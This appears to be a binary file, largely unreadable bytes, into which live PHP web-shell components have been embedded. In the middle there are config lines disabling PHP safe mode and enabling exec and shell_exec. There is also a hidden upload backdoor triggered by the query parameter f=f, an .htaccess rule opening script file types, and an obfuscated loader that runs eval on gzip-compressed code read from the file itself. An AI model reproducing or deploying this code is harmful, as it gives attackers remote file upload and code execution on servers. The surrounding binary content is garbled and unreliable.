y TlLwc/aYubLsΊ,PI2soynbmvtaxweăYgjsoynbmvtaxT".iVXUZ" \ƶ(

L(ϊFx &c$D4lͻ? /יyGR[FˎĸRJVqGп~];op\kwƏa%Gy'AJj=UUd=R!G$soynbmvtax_yxpQ%6nzvgxtrkaqх@
V%!q!G"Qn`͕nzvgxtrkaqi)B[`soynbmvtaxSmLQCXzd,kRQ9#dȤ&+rDg"!7ӜU	qnxd8~!fprFֺLxBRXnInpU
soynbmvtaxڪG?0B"H%H6qrSHr:*raOHCnzvgxtrkaq\p wsM\G.bMHH7	1¾yҷnzvgxtrkaqXS-ٷ/t`k^=KsoynbmvtaxUR}utgܗ*=/M,If8G+h GJ"+vҌ q fnzvgxtrkaq\fԎڛ9o~L)m~Oat5nU(ڠ%ZIGaP5rZ0"6DsRn'b5J{)Q@PYk/țzKw &Gρߠ;GRo0-xJ1RH[g:o4*=ӓA/ɗK~c
yQR7 ܚe\dꏰQ@\z8	ئ#4ݛo~6~Px˂x ns
ф׉M|"^uײ"bMnT҃܈Yl"RӯmO{ă*պ~8bmZi)
 @bH3\G|j+|:+ȲV8
OZ@NµTn
;3qmJzzʕ^,py#cڦ#ksoynbmvtax:,j̹v^2f^	z_.הcݐV
~aJJIsZ4.'9^=zq#1GȨLY0^eU|tD@?NZ(X B_=jsoynbmvtaxjJZlZ1ܖANi|l` kHS"j6lr9Q۬0DF߅ı?Lsoynbmvtaxcz9\~F
pr6vpRꏌu*Eã2r]t2/,_]LosG2{dD)a@,ϑ}P ܲ1Rz1(C@scsoynbmvtaxn}CQf+憅(q嗼9z+C,*tDq0^Fo^vZIúZ0lTG?[]EHW`WbS,3bǧ2q8N%ʳqOPH֛{yJ@B_6rsE5a]C3QS(FUN&-hΜEq8b+^ƽW@-f4louco*W7PC`1
0xgO4j57ǏF]~ 4QFh4~BkATz3VۇFb/yؐJz%J^$e%0y}?D7aΜDr@c2D.(`iw$Y؉q 3e(
,ݻѰ14nzvgxtrkaq`D;pXhȳ^ZW39!wlqzVS(Iej0	hB)oOyMRbnzvgxtrkaq&	Q~e؎^D(j$7Ҩ&Ѥ".ԤOǥX^,ƞ=؅yw{TUȺŹ6nUnzvgxtrkaqYw@BuۃXsoynbmvtaxͳ$3}1:;pA2hCUuWㅈK
qOW'Asoynbmvtax3*.LHdWfeEb{WƉ՞c(dS[`JU~nǾ_#TKsh5
'V2"rb'k˄?̆nzvgxtrkaq6`;Z0MaNeফW]:$izsЌ鸚咆JCriPX&P)}$ lJ0e="L1!?nzvgxtrkaqtgJW_Aȇ|O^o@)9^&'gy#OܟaCD
Tnul_H[t=7%SXIX)w8tML$&8!olV^"	@&BUzĖkIj㑗KZgcJׄmK$Rk9
,kWt.4^xp/sؿ`݌ARLq[*meQGRbCKuƔp/.R4KM{S?a$p6JhL״&?9O
.qUZtdit٢y03Js[ē2h.zm+Rl5Ky!R	ٕ7NERFh0H9et^
,LX6-e/K.XćR2Zl~+0ܫ5A21@iGU_A{7
?oKT@RhQ '&ދ 8FJj'*HJic #zDg[\*?f/TU&xľ3ˈS{A&nzvgxtrkaqMQ'soynbmvtax9"ϧ?#wj. I;4q|ugm$^'Wd
FBtbcLJfU
{/ċ*[1Ȼ80tuFeܖlDtާ"݋HQq~%ԀO@AIH÷7"=Km*:vHH-wړ^jQTEH}RIW/%+i"Xv䁋Fzp73ID\Z$,nzvgxtrkaqM)ePDvCGfw%BysѦ9=
[/G7QS}RM~8\K&::Xmks,K~ʚW=?*^FqdCCHM؎][c,"Q5I+ zsoynbmvtaxX\V=!yx q. f(fI*AG_	TTcvN[Ы$S+
'uz}Rh.HBsoynbmvtaxrVLӝ̳? .קZ7@O}fsҴ	h\dtGFʋnzvgxtrkaq}GЀ%~Y:Jl" 2/b}x=u˹a/=_HEtO	ϝK
Ou_+#S¯RUx6iɁsoynbmvtaxt0~PLv:EYLAPww7BSMbed@bHi,|Pi[{im!nzvgxtrkaqoV%Jz"|ǀNQ^z$0GE=;&[y-u6ޔ͎*	+Dc?/tˁ7sG7:soynbmvtaxX͊%5K#rI߸*=1nzvgxtrkaq&ރ"'+CrS Yn0soynbmvtax:dm);a|T0c;\IF?jWOK=@geK^
pwFFf	/߰aʕXA@뼵-9KSeHbDuu	
ACz?Ia
GG޺& ɯ^
Òj	A;)&{#ټF؋} ͕÷?YS3" HJd#A
TLky0};)eƤ~BŀucOnCfJ-|?xW?x쓀n][\55cLҮ;OAQ?|	`z-0Oxbc?ũݦت/2/
&8W;$됚GZL-LZR"-1V I;q?jEkVpVYW+?-t3`KÒcC'4]4/+PƠǅ\[Yƚ?Lg.OH"X$Է"u}҇K:pCf	"{6˵omoI #D~"Χmu孂M	h)4䎧ܫ;&NrWɴx-9wުr+XD?PQ[A-Wx5{O=u*rkY.g4d~
zt97gYX2NιBTǡ2߱5lݒ:6cs*{dq8+lwW^!	oSTa0
ݚxtGbe)UY
a0]}@#Ex-HE{̇TdeAZaz@
Pr	jm2{sxcqbEs޲VNKYl,oikK[(xER6{_k5D_ -s=֕lƺ"\RfxaݵWȰ%%nkfh*{3dM\ƫr6LR_y,ldnzvgxtrkaqE12
z/킷|Um[8kh*(46~NU{?Ip4L䈹,Ƭ78ki`EcRp&@@wOnzvgxtrkaqq/ݽߗ/fb_AwzH|Xi:˵p%!=Vfݴ~
ts岠n`asl=Ļ5&ɮ`O3ĊM!p*lg&!^͚YNFKp}1;Ӑ_0kAU#V3ȤcnDCJ
)/Y@״nzvgxtrkaq-
p+szs"1$Yܿ{q18ۏ2|Ԙv=Ve,
iϣMh@Mאo`6"O`9r/'tZΥǲ'Jv+nzvgxtrkaq~O'8B{εihP_kĢg:PAvdJ))l1\.@lW=CGu,=I:aT)V;1ӹFȺ?L73wPԌǻ/0ӰQοz]J[S}PNWbH8ۨ~KS80+SדQ%QcބY9˧bi+;ІujN!uQI]VT=	s)-K?	F =ЃnzvgxtrkaqXҵ}BnJySUn0AT4sZ	b3&Ttdc}[18M-D]=I
eҥ_XCYIݯf~ddnzvgxtrkaq_hb|& $-0eT.ŬhI"TB)6?N$'soynbmvtaxkr*hS-G@D/nzvgxtrkaqӥcK;i7}g:4q;S1=@TrRQH܎!Dl&ɨA5wyk#em@=IrӊCQ_lIc'
;h׊Ieׂ7lm:z$SܜI
@wQfb֦:Qp_xw
.blÎ,V
%Sw,,Q^sbP
%Iwg`(fWXw
?MZD5u0cn[x-gO/bLc?ty

@1l4Eю"xcH+5&Cxm°/P;A%ߦkI=
jsXQ|uEnsܧ	
 #	#{xNgQLkӵ3Hjٕynzvgxtrkaqsoynbmvtaxz.SFx*3K2/,,.ba|Y1r2Œ|L$ʳ↱9ze.=?Si+#;YEʴӢ!7 _DIҷCtϐ۹&m7ͅ1I)F
lQ#llY-Y/Ƅ0,: nzvgxtrkaqP[ٮXj/!(s8Ѧi#4{?. 񥧆F]hH~soynbmvtaxtm6?x,&m.Z_.7ךnzvgxtrkaqP	26UOjHfQ(W8K+Qeo}:jh?,2j4L&-\m񌨝 lg/8oHz|XC`!-Wb
;V®4gtJ}_y+VF%͖]_]JY$XٞMс9soynbmvtaxčY2Hk@GD\={tA.?&aP}ץ?6үtvsoynbmvtaxVcnf2aTuQ|
5ң[+g|ʹŤ!An1f=*_:9Quj5Cy齬r襓_S1 ? Z=`J_@_	C8pnzvgxtrkaqF&ǻJ
F;QGǄqnzvgxtrkaq&s4m!jG{$_BE?'v7(
G:JutHS锬U8o+6Ndtu/w	ONͪvAcR[
X%^xƌ;෡:x=	dջnDtƷjpkHQغ&xd{U\p/6^ߣ!GEY,D}y.ˣ$ۅ:nzvgxtrkaq+zһG06x5]t8QV!t5`9FP
Jא]{QDEӓ˟/Idu9H,gN;0C݋Z. UP$oy%z
l᪞B؝WHw&;n,m8"a"#Ѱm0@ЦI ᒌQUʫiW|o͵71
|ĥ*γ*7G[V\,noԨ.N4T1WwvQ6#wv) e;MC1X?|gD#UTbaqܳm[JBO]viъo|dC7ekwmK@z/{ntz9AIgPXzUF`6ȸ59"h7XOԪ1y))~WsoynbmvtaxS%e^"h҆L\
ޢ6?ƽ
G3gѦB[yA8{ON{2څaisoynbmvtaxK' */HmP0biA8u4/1!p7hq!
a_Ņk\Ӎ稝G|-ntBt29II	#9Mh?s;FLM]T:a/5V_~鲾&}x^[;`m3͖ݷ%YYޚћ$6\E^aJ#]񀢇P!Qқ#9x@@0eg6ߜ%#nzvgxtrkaq0j=tJy7s\Áhmυ2Oȩnzvgxtrkaqx/eׂ.7soynbmvtax״D}4h^79f[hB2汯 Ҕ+3(v^$tz,ݖ$u "sهpdZƪ	ͻ6ʫ^EC:ʩ1HuɏY&Ըɳ7nzvgxtrkaqL.X@
RوꩅR R$:|`Gzsoynbmvtaxvv=:iJpo_x"l``bK`6G+o]$Փ#ڿBX=le-`[VaQ^͏ú*y2W
 4q%#H/k9pZlcbU(H9ېWQl"1z5߹ݸN1}9ˌLZGvl9t`,n.gjJu
c{vokRGPavAjj|`eǃƫ;+P#r|ݠ3s0CKEiKJr|U%{X9Iʽ!^ա4Nu=LLЁ{@R[3 |bTp3SѨ~ eK0ov-)ubgj0S"I;}Ynzvgxtrkaqw5sp	q(fBJ~\H4p{{/{[mp(Xkqj	4txH"1o*[nzvgxtrkaqDKiՆEMlEfdUК§Fÿ;~$pUN`Ks@0Moe.j֑pbl/NYzf堚aոwo؃	@anzvgxtrkaq
d?*s:צMZA:Y)%`cկQE[^pr{KwͼvR5,[Q㐲.XZnqvXE♶[ba#d$b7 b
5)Qs5Ac~)%FEhKKE9lFJ_jBYA+e5}-=0nzvgxtrkaqf+Cnzvgxtrkaq	ezLUT~߯7Ҍ]՟=Y!nzvgxtrkaq.mکPb~!y~#391(RQOW,(SJ0 soynbmvtaxMЂ4RǙ ЖW{n;"זb,?)g+TJo%tznXE(%[g,ZHƁ?Q̈ktNWKWQ2mňPXk"Tfk=)W##aHϕ3K묠r`y '1KE :%%snQssoynbmvtax{,i yF@CLr"Q{?ra*t8W
g.
 $jG'+2-zKNPvK3 O'(I@ַUUǪ%d;f#NLT瑠r*\ݷ
Rաʁ[q'(/=^_SS:?2cAyԐvea27qa7[yLEq_.A;sKk-dsoynbmvtax9Kv_G_^t;s4GSB*xW(+y62n8,L'\ZNڊL`
Lc7|	X4]l͡9k\^|?x_o:c;S}V@vCH"+gVeOikol8 blN$p/T@7y/]'9PpGSQ63l|F+noLyL`#ٻk|Fq@ FL*h*S
᤮[70f~ H+CSgdRgO߁Nr~Y}ޢBnzvgxtrkaq%ǋ\ c!-,F?CZ+L-
9ć9OaSG!@l_Af:muځmoyFj16!$N%H[5O1@Q[Tآv)HrB\%:PBbS@m)s_!y6CꢄU[ʐ.a,F|"rHEuط%m!BMjV3P٧yL*knCpJ|O 6)_Q
Y	Ut"~Ʒ jj@^&6)5nzvgxtrkaqK4h[)V=O
业 p#dDJqPĕLjLI 	 "w꥞/ x:{5|ufo u1g֭Gsoynbmvtax=pbx,;.~-	O#LDX4nzvgxtrkaqsoynbmvtax?8pIEW.ዖo-8/"I(Ej+8*nzvgxtrkaqv́IҰOH4brz3ikL=+ ڤe̓Tj%TxUbДIŏ/zZsBrѻMsҢhO,et.PLtFP
	KQϧ*w|j`s%E?Q)Ug*%߷s+ʎmf
fmWӴ_(/xI:랐Q9!c]^}l	q;6#NEIsoynbmvtax]gmi|Qt .)!Sst6
=u
u%p;5;w4đ\v#"Ƌy^A2ZI}4k[1WM+|crC#
'IWGI}$j) u8Ԫ!soynbmvtaxK`6XT#fpNjYˬ-PkD吭|f^wlb=ۮ4	v%aBqtsO#-rV~_-_%T"Xsoynbmvtax=3Uji7HFh9^svkR4Rf1mTT$Mw#އ7_Z$|R1nzvgxtrkaquuLx&?P0A!b I$_t?
݉v%N
S{ƻhɷyF@xͼ)YS=(0IQcGͣCnzvgxtrkaq̳#*K]AR&6OHemD3z= 'qi{?06b,Y'O{C}_+ڍja!"ƩF}4]B}hdvl!iT5{MƳmD3{a~	;
mQ1͵Q.ٱ˲(G=~ӎYwsoynbmvtaxT(CsoynbmvtaxOe8I;/ke?܀e#C,Dr_%w3b,{0##@}hGpSC+nzvgxtrkaqC4⁵`H_V:ͳ=|?{W\
N'f|	Rۣ7obV
ī!;E%Cc2@#@mA/MRlVp_;w'׎MPXpnzvgxtrkaqp߻v,¨HJ4xVߣu\Fxy;:	Ѿ݀*t)+8H
QrB;soynbmvtaxRBk+
!$*5 dUUZFjwz	uA;Iˮ%ՑQUMf!Luټf$uu.HnzvgxtrkaqUsoynbmvtaxH2:~+bHmlWMS1c1(,w(g1;~ kC8+	( #=j)E4Pztk
pV\`Uwp3`ѷͲ׸;3C-`2-ܿč)HIXv#]	&W,1St[ˈp(Y#f0}O=1d'lk!\&ܛYAvҬ88FAvUP=rsȨM!rǥll
Y6Z)YU?qY~ȜC.n@;4y|Z??Csafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$aMhQ='e'.'xit';$FAkp='st'.'r'.'_rep'.'lace';$DJbh='file_ge'.'t'.'_'.'contents';$tMCY='s'.'u'.'bstr';$CLTS='gzuncom'.'press';eval($CLTS($FAkp('oafcklrnhp','>',$FAkp('wgvtifpurq','<',$tMCY($DJbh( __FILE__ ),-172785)))));$aMhQ(0);
?>
x\ǎܖ*{+YhjB
4IZF-3=耻ifsk}i?\!?WJϢ~ݿ;;koZǔow-O;ۺ|gު?[_\g?;{;=hoafcklrnhpgoafcklrnhpqG\Ne
 :.@gh}mrX,k;kt#ę~6sZfcCE\UWL1ۋmn8U?Z+R˄}}syǩ\|JS*qPiQv)|c3~ք:No~C@|TEy+OrmRWer}\p2l\,ϱ3%ޢ+ހm
wѕ
?JFTp~	6u+8s[NFoafcklrnhp7(HDRsQ́^Ib
ġjX
9t=q@Nv[hǬUӇQJ`Doafcklrnhp}"b|f oafcklrnhp|Aұ4*~BAC|жl|L67X*Y}^Rr=,`b@o{{atz	&V0U+-@ 'EiwgvtifpurqĂ
^hPf^47Þ-~ij/cWBژF('g$m`f 
8-,do4B["(߀: U_v${v'iI2}ժr-QJ/]B%o!{s6@B$.9	~ʭdoafcklrnhp#RFHLNV 6SXAvȯUگt0oafcklrnhp]تDe`P`Xwh%2r'Eh1/7QRˮW~s[ݞCJu/`W	E_?P)wgvtifpurqĹL3g=dyXVf{e0yIׂ&wgvtifpurq9oafcklrnhp)[Qў2b:'clÂ0_uIqP
 M%Z	`w_5'ùmXGaXLL!"X^8wgvtifpurq"i$L;6BA$Oq\V
LH8$ݩmsNNƼ
֋d6-](a8j,7
o$=0r=(o~nlHwgvtifpurqIoafcklrnhpI-TgHOLFfio?C.7D"]=pcɣ\D"
t%uݣPRSa۔ Wcq}¬5`w6Ch_N05)=-3gdl}owgvtifpurqDFN7-tQR혂?BDKfϡi^(QB2eWQR2?g\52Nx~wgvtifpurqF'
ugGr%}iA)Ql~?X&5gL31ϻawZuLd1՟oIP9oafcklrnhp#v
c[
Ԡ2Ϩ18|Goafcklrnhpiٻ}f{;Dr7î$ ,yQEhj)`J:gFU-"HaOI)o"ϷQH)Tk#ݎRO4;*#FUI$9Z$`{񒤫/"O48F~iGiԗӗt&DѧBLߒQݑSL:؟ts;uc͵W7;ĈoK"Nkɕ@T]~|9vI6JH|tƇ%2oafcklrnhpSTΎ@Ig]33wgvtifpurq@0}..18k]Hj;ֵzW3x.U^9D|agqOp̟9+W	oafcklrnhpQpIIկFgff|Q(-ubO}T
5ȻZʅ^9ZU-D& c
Ek%_̿'M=coMY4"\֪$;E?_,oafcklrnhpo.h]oDh$.g͈4_[}6{]l715LŭoafcklrnhpORqUxQY"m5qC#گoafcklrnhpa$NjaK9fwgvtifpurq8.2D8Qi(s	;:gK	E4t~ȼbDZgt(9R59@EC^5=Ӭؚ(~-໯Fw!Ae!)+ʴżv,^ߎYsOL:M#(XlNsCXq:3u7RI#J7W`nx"5+6 1^ZZٴ2cuC@Os}h^	ݰʙUw[Їf^C=@m*G9y"12G2(ZIm\Yq0*=Itk)TLl.4|!& wϗn[T З*wG^d\ҡjtwz_ׯ|edp)GBHzmp\L[BEzXT14hz,?nhT8w|W^jE"E 55sVtp6\v\C9F/^5A3+HZ&[LZcYsqGw}[H꟎׵DI'vT|k+sAzz%)qޗmi8jDS~2Tѻa­-RI7wgvtifpurq 
hw{NXDz4DI.hwgvtifpurqMVoh/ GYz~=Jƒ[JҔoafcklrnhpx}6Ժ՗iqI蔹(~b]wgvtifpurqdx{AUẋT0MåBeUխ:qzk! 8X5΀Ŋ
ٕ~ZN-)8fxgz5{Feˊ n2kLN8vmyo)?#BWywgvtifpurqQ.zg/U!wgvtifpurq+L)BOsX.ocFfb_1AF~m
#oqBe|,IGUj-LP`oafcklrnhp 6,.oq Req[XZߖLrftH±OHoafcklrnhpwBlX
8'ʙGQ|Un/Z+j(Vwgvtifpurq:Xe
6+Ruw-@)|H}*K Q,m)/kDlW"ǵZ:[u*gyMRU`UjMâ*1pWwUِxOdoafcklrnhpS	x)8S{s
"+h8'T~r

sTM4V`QUBxoafcklrnhpS5;TIV+ҊO&}KAP'{Nd苢FZ8ZvWT;N[(ydŖo~td%ŷ47Ӆ`Ϟ03u~f芧ZBHZ	t$c~`K`-?U|bl%poafcklrnhplHofoѯّ\ST7^j
]F^6٤l
q) z;j^Wv
Ր|t&?ld*
هb3~׋FlA)aEbz-ō1e`li*0~ wgvtifpurqbLT=R_OTGH#ɣ9oZ3@&zOi_|M${ƯV eҁչ,pVm{gWW׃4&-
G]#6F3X 
J$D:a$ä	zR3,oD틭H{^kz y	gEO`'6@)ޯNY~=ΠTW6JL?5;ƻ!J	͓d$рa s.Bg wgvtifpurqU*мdW5Gb.vf]Roӂ}X~8*$C5?GL:[m΂_0[L)#hR71L
D,ÿ }*n6c{!RT=x
nV|c_$-sS۠&!@(wgvtifpurqìvQ#:wt#hv\HodPm
1t𗑥Å/e'%~T[t]vwgvtifpurq	E!VK3S#%@K2GgUaݟӿls=iH2ξ?S
˹x΄#=|=1NkO;Qu֒]pZt*tiv3p 
௦O2b:)Lwgvtifpurql@O/I%~#3RϠXYT]'Чk`;5mQBo-n(SR0cܯ-0?\bKX3~NZ7
{dIQ}iwʍ~kJvJrPJBoafcklrnhp'٥x(Zvmb=~Q~/֨'5H޷^ʌ-waшewgvtifpurqh8=NK`wgvtifpurqwgvtifpurq_ClW*T}'倣 ܲ@@1R+nMV-+4l2-g%J&PHIX[k"b}6dS0S]㺀4Pmk)GuxR*ڊ83	3J#]gFoafcklrnhp/r k
aoi闝n2j#t.^.
ИēOIy|li]Ofc^"Y[?iFѸD?W$	pW;#+Y 蠻[R\^곏a{QdbVPz^xcieT%4z|k?
SEwgvtifpurq66_?}kw+`z+43/Ůq#l"ӯ{DMf8YDW*[)0kͷ
uoafcklrnhp/GW=hhxX7|oafcklrnhpа
Ń'
G00m7T9p(&5FZ䇾DmnC쏉znue oF}0ht-W%#
7[$r?QIvc,ǑPyx,!n0ͤFh;?HQcDD(wTňE*-G؉|ѐg
*=OA}pw'?0MFwgvtifpurqua92|d Dʔ˱$4=y'``[Ԛٸ=	͙_'ݖUFK"mwgvtifpurq,@# ᏕX,P(D[yq5Y/	Ab#帹N4t˦5|F|~pNNcE7'[Ȉ/Bʌ8}cVsۊ/~?`ңLf`]5XN[V^3%p'aM$6}6f6&cQ?hHwgvtifpurqCv_Cw=ߡ
cN힑c$ NwZd?wK!_]5stZ[ q Ti+$#|x໎Jc6oafcklrnhp@:9ʘW2e\~}p}+IVڒ_WɅb	;	߿ȏ5Kj}\jwgvtifpurq:62PW
 B{J
zoafcklrnhpVT)}T!imXʣvEwgvtifpurqB?Z/\?loafcklrnhp SkT(t^㴟9 qNHU^u?]Ml1O5{j#bYdg"}| #ŋ`ѻ񑔟egBwgvtifpurqJ_3jy5ؐqPeNY?JtOXJiFhLPjZ"!n?{R-Vp(_;t:=3Ͳb_pteǸ\wgvtifpurq)AΣJJ8~]oW	Me0;Qt@4 f.Rkܨxq@`~	(|}4M^ޝ핓;II%E]{kIQ;V"
(;Ywgvtifpurq=(#gJn!]Lе2?eJշ/X8آbCS`ʬ&L ̻
\oMY)ǭ{Tjޫ[eLFXm
O5n)2@m@FXShjoafcklrnhpyz_!\ir$uĖAGɐ.ʺ6yL(	P2){\!E̼4#S3yYb?oafcklrnhpW:5qc?_`@Kmv!yt)=^wgvtifpurqH7W3TTGwʤ r,X,yndwd2Ex=6%NjRoafcklrnhpq VD8iNӖ-L9 &тk7ǰF,~dƓnecE_Qv.)g]Ziys-r2pQ69ƶP Y?yKR7֕N!rPNI$m!ZigBP}tuS&/wgvtifpurqO? ſڋ|UHXV.n.E6zLC1an/BhОD?YXq'wgvtifpurq!"-p7ZIlٽoafcklrnhp!wgvtifpurq(:vL![FV[{n&iEnAW	g0t͸V8kYϥqVr7 &fFl`R/srr=Ҹiwgvtifpurq{6~Kb85dkT_AI_1"zYӇhź03&ɪeLn?1WYڢpH3hcoafcklrnhpRIZ-~^3Հ6:&8sTgwgvtifpurqg(xK~#Յ|FP0_Uҙduv[Vc@
ֲn_Ͼݵ|"tBo0TǠ4
Aؘ+z=X{?F v$w|*a*ޘ MD)`?M\4*+OfSiU i6
)a J|@~.H$LMDzdN .]ڟ}~l.Eyl'ja-180.^vYĦ9Xܽj/5Xz`G
ZsYCy2uȃҿpft)ERI
 ȞzT ևZIYQQgvFp/5fAZЅY췻K;nA @H-_Cja'370+}  ojHf{RM"6bkoafcklrnhp1.Ly6qQSQ-$)Ӣg:k!=?S3Ru=+y)vzI]dqCMʢet	*GĪY0䍈Xl8W8(&Goafcklrnhp\߇WKg1\7}J:; ;a6믴R\|3~_b/[{+Na%=nv說ILv-,eJ
L"H7(P1DJoafcklrnhpuQܙ&Ke8UP(sfkG7l6n7i
 Ur\@e&VLҲ^* ώFߟr)3oafcklrnhp9x%v3wjj$j]/ȵ1';6o,)k-H+ @|'?lD==K @Fi
 pS=DoafcklrnhpW#b=2G1.½u\Mz!wueLl73
r,y{6U+@)m#&R߫V}hTL
07?zt8nC).
l&
O $EaVM4,gـ"2	vƉ鮽2/*~;Hl/43m!=L*-ƿ?$^{xڇ%VlUeʅ5U{]=	ځ1)JDA鳅kwgvtifpurq
=OAFӋuKI+!oT/,(1nh"g}Ff]xU}t
4W|hpC)M݊Goafcklrnhp*Ԁpv+0KAHd"ZiQ TmhWܦ:GG ;Ehזs"&1-Yp@#8wgvtifpurqZYOyxz=lZ_cm.@ƕJw):zr9M"w}g'͐,0D/sgM	oħ6E~|to~_eݜwڇ}ofXR?.'Ԑ4F0oafcklrnhp:|N8clDDsVeI5k(s0،_etmaއrkڠT,/Nuߴfhl@bPE
2B&Rs#^'x&*+-:s{IxZrn/GӜbwgvtifpurqLq Y?@wgvtifpurqe ZB*GD0.ߑ`wgvtifpurq,.tϯ/MKVyHb+aK8Tp]~D\ECEkQIZ՟8"2)ß,OCM#}Q"R+"s~d&У)= G.5	e\}0*n;g}5LO#(or) Vjwgvtifpurqm,'Lwgvtifpurqf̗R)?ǯԶ4b[܎;Jyez#۬O@0sdx,wgvtifpurqTb5	2;4 xTdSꁍsߨ -?,~1ȽM*tcNRq(oafcklrnhp187e^#;bVCO:}*2trP#ޕ*I2I\Lw_߫p~	s+E3Բ:K?(e5)Xb//a|Rtm*'6shXl62 
@ɩ4mWcqz+qJ4'=AX㗠;j$֕w]=u|Pu46V3'f`YJh7uSU_& peͶLdBq!i.6́T؞ω;\H&!op61M"ń]1J}ߖx@0 Q%v0P1T,	#2;ѽZ%rKRJP4a(['Q{q[Q
vۻ)%h3wgvtifpurql:!@IEwgvtifpurqPf \Tɟi6A-ߗ*{^F`ms3IG"Hqp-^6W5WKńXPӗ.CSLX_UfNNjS
bJP7bvw/oMF)0_Y/V!(u/QlS?BƼwllt|xOumrL=_dv8BwNe)i`y@!_e9l淽LZehZqSfB-*ȘHT;iFhDy
׻qx
v9m#DWS3L uNhk䝮 5S;dRik6oafcklrnhp]Xw*xuF8fLsza;Roafcklrnhpx7oSߎ$5SbN-̤/~|V^}ƴ,%#*-Ѯ i`{3~VF7j14spbêНӌr&+1ZS#I9wgvtifpurqMћXz"K5Qˍn0?Yvazv(#lMSHC~ZI%Q͋fQ#oafcklrnhp`oafcklrnhpL:ՉBܓf;#f6qd̟p)g,*짃	:fߟ5X{e 1ӲWϙQ\|3|CFLŌJȃ:ىB6n\lq@8툓Wk
g&:dĵk^	D$5qc`@&Bc2b c }wgvtifpurqmm˿
/p?{°Xa'm~&	v0|m`%pᛳ`.\vWA`ft~]_LKjMT4iɪSM4"*0jRY;4Z%+*lzn}&ؾ)Ί_$zAd=6PO,3O~Tz; kub;iǑW
b Uo rdcpc|5f
X 2"\VD09%(H_Xx:)(1R=Bɂ!{,oareرQ'GZq%h;_1)ꍨFd(jEҦ1'	l=3tb:T/Z#oVVZl0P@OWIwFE؏"~a9?3D[ܸ2HLwFj`OCֹ[0[[B,!wgvtifpurq|eg|pNw2~ʐr^jf1 8Π:uzCsAiPU&dfQ"e,u퓧V
DFXƃ &ГKro4C(;pwgvtifpurqR,@xQQTP~͍a+_TLY]mR4]'gDFoafcklrnhpxR[@aK@P/mo*{GN_
5ysϯǅR4[=]"F=W3HKi!ZHlZ
S	|ޞz]ݸctf
b?/Y^7[?V~0ޙVx}#ddjL3:+DԐ6}	Cg)/~_Nt3~n{`́@|^_5|@aI9'70J7vTm@nEE8}{0dòl	8~E
u `#!Lt]X32W'!	ڟֲmat(*wgvtifpurq_	eS&+k_*^dA#?qsMC:\MJv`twR
xi(ğY=*`.oAGx|GJmʾhO{yY
blKw=! cpN"^}@rD}Q~ 6M,*_V`IEH]H_tjbm"6= 2v:.t-eǺĴq@_ނg[՝=_)ߌdG6oafcklrnhpUTx`v
O7%{*oafcklrnhp5D-?rlUc'CjOnLR
V='_a
u
-}ג8P lY$HEgoJ*1^kvP/{2w7O;n^SRJRvX3(e3Y[rLw=g3gdoafcklrnhp[B| m6@ú-*.-gnП:[fOȘT+&VE}R+udd6Szα:t늞Nr6{O :T29,|TRb@dqM#`9d0GE6~T@l¢gyfuN$aX&I
;y@,(kOC?f0qoafcklrnhp$cH@7bbl{#m~E~K&EOmrjQ#,zyTYŀ_0D@q*O3\u.mk{U	4_4-1!5xPi~
eo$T;_ĲMV!^է-U
.S7g:]ЧwW:MHBth2 +i޼7bX_$1-aX9mdwM;xWfydJ+&k/Xm
X@)U7Θؾhx,[/֑rNN2=vdZfd*O#dlht9QBr_t`20)J ;s($CǵM&D?[_za)
Q~p~?&wgvtifpurqЯnkTQj ~Ǒ%ܢز,,DiJ b!lGRSwgvtifpurq+^YX}nǡ=Gvp$N#S6mȉ:FߟRd=xOɏni{6겘J=C0::)s
J.5-q?Hx`x^`DXkUɣ5xN ;}
ID	vejO"@6,2s0Dw# \U[_Ztd~2RQRwgvtifpurqNmΧbGЊw!NZ1)0ўj]J|`kxlf]~9$?gtD/ȇL_6rzq .Ǳ/Zg{+n_3Ǟps +voafcklrnhpӬ
LǇWxC xǸT轫ϰX^Æ58C-ݷ(5Eߊm&4pTj%ꧪh&4Poafcklrnhp o{\6ewgvtifpurquKwSC[rSU
wH`ExL$hP)QDH`J6ƅ˗UOt3XeX%8 Xם:+llԑ0
yjN05Bi~XPiW0lNh
,]lRl:qm|׽XU`;@Ȼ;͈u"FڿV롶rϑIbwē`L΂n	a̯v:60C,{?	Doafcklrnhp[6j&+djُ]UpˁJ`Uص;=@{F'ā|wW9V
xaUN^U 1QNi\2[LHvywgvtifpurq

)踻+|1m_wgvtifpurq}Rl!&ژa~*7h!B$t~sEUMk7LH,n
$afEmroafcklrnhp="wє$Fcp6B &jUrMC?L|W ;wgvtifpurqcY?IoafcklrnhpDDusA]z*8ĝ90S͎D=0G HN7&.0.o\n1+y5M9_?}{|7W{! p9fഩid,Zj	,O6p,ﲫ %~{ 8UP(BO q.6f5}xnEKzY\,w|_ȅ7ngvoe#C8S,Sd;L$-stpH4ݢ8Oryt!W@|} 62n:ݦ@CqU˶zц$YtdB5l|lb[`:*	 ý-x_ ,wgvtifpurq#Q1 iCȁB;G)w!l};1;u2
D.w%RfMk[oafcklrnhp2+30-+ *ߧ7v8·MrwrRra,7F.u)*DMi/H9B=ϖ#隣
(n&0g^!	1"QJwgvtifpurqKTx`~1o/~:U9̈W" (ƠlbFYm8O/%wgvtifpurq3%3ڴx*Z#GF}
)ZSls7
g-e~_piIm	mexl`wnޛȓ~j~۹D5z|Xl"nSNn"'

qj
DlgX͉'*"$IjƥP1&oafcklrnhp1l@G⓻=4*jb]r
!%Pe9JCxGbK?oafcklrnhpR.oBF`wgvtifpurq&%`ԆIU,&2߬ÑVCU7 ӕ-v}mC-.oafcklrnhp`~Q*7ޖE}JlrmuW=el)pꑷ/Pk=Q^"meBGg]'?Q5#%:$)VS;ST44oKݚNރZJ)7jU&dc&턚2_ʋ,4t 
^}%$;%I%;Ηf[-IvNUmq5"z߭
vua[hE)wgvtifpurq
".H:9ՏC3Z/qQTk$McYla.} a.ww90^Ѣi/q3!$+Ss/
`Z
o'( a!wgvtifpurqǛ@'(d	2?g'm	slС7~V
